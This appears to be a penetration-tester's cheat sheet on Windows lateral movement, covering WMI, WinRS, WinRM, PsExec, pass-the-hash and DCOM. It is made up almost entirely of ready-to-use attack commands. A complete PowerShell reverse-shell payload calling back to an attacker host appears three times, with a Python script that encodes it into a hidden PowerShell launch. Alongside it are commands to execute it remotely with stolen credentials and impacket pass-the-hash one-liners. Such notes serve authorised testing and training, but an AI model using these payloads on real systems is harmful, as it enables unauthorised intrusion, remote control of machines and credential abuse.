Lateral Movement
WMI and WinRM
WMI (Windows Management Instrumentation)
Create the following python script
import sys
import base64
payload = '$client = New-Object System.Net.Sockets.TCPClient("<Kali IP Address>",<Kali Port>);$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){;$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);$sendback = (iex $data 2>&1 | Out-String );$sendback2 = $sendback + "PS " + (pwd).Path + "> ";$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close()'
cmd = "powershell -nop -w hidden -e " + base64.b64encode(payload.encode('utf16')[2:]).decode()
print(cmd)
Paste the following in PowerShell
$username = '<Username>';
$password = '<Password>';
$secureString = ConvertTo-SecureString $password -AsPlaintext -Force;
$credential = New-Object System.Management.Automation.PSCredential $username, $secureString;
$Options = New-CimSessionOption -Protocol DCOM
$Session = New-Cimsession -ComputerName <Target IP Address> -Credential $credential -SessionOption $Options
$Command = '<Paste the output from previous step>';
Invoke-CimMethod -CimSession $Session -ClassName Win32_Process -MethodName Create -Arguments @{CommandLine = $Command};
WinRS
NOTE: In order for WinRS to work, the user has to be part of the Administrators or Remote Management Users group on the Target Machine
Create the following python script
import sys
import base64
payload = '$client = New-Object System.Net.Sockets.TCPClient("<Kali IP Address>",<Kali Port>);$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){;$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);$sendback = (iex $data 2>&1 | Out-String );$sendback2 = $sendback + "PS " + (pwd).Path + "> ";$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close()'
cmd = "powershell -nop -w hidden -e " + base64.b64encode(payload.encode('utf16')[2:]).decode()
print(cmd)
WinRM
Paste the following in PowerShell
$username = '<Username>';
$password = '<Password>';
$secureString = ConvertTo-SecureString $password -AsPlaintext -Force;
$credential = New-Object System.Management.Automation.PSCredential $username, $secureString;
New-PSSession -ComputerName <Target IP Address> -Credential $credential
PsExec
NOTE: For PsExec to be executed successfully three conditions must be met
The user that authenticates to target machine must be in Administrators local group
ADMIN$ share must be available (Default available)
File and Printer Sharing has to be turned on (Default on)
C:\Tools\SysinternalsSuite\PsExec.exe -i \\<Target Hostname> -u <Domain Name>\<Username> -p <Password> cmd
Pass the hash
NOTE: For Pass the Hash to be executed successfully three conditions must be met
SMB connection through the Firewall (Port 445)
Windows File and Printer Sharing feature to be enabled (Default enabled)
ADMIN$ share to be available (Default available) and Local Administrative Permission
impacket-wmiexec -hashes :<NTLM Hash> <Username>@<Target IP Address>
impacket-psexec -hashes :<NTLM Hash> <Username>@<Target IP Address>
Overpass the Hash
NOTE: For Overpass the Hash to work, must have the NTLM hash of the user
NOTE: Use this when want to access other service as another user
Pass the ticket
NOTE: Use this when want to access other service as another user
DCOM
Create the following python script
import sys
import base64
payload = '$client = New-Object System.Net.Sockets.TCPClient("<Kali IP Address>",<Kali Port>);$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){;$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);$sendback = (iex $data 2>&1 | Out-String );$sendback2 = $sendback + "PS " + (pwd).Path + "> ";$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close()'
cmd = "powershell -nop -w hidden -e " + base64.b64encode(payload.encode('utf16')[2:]).decode()
print(cmd)
Last updated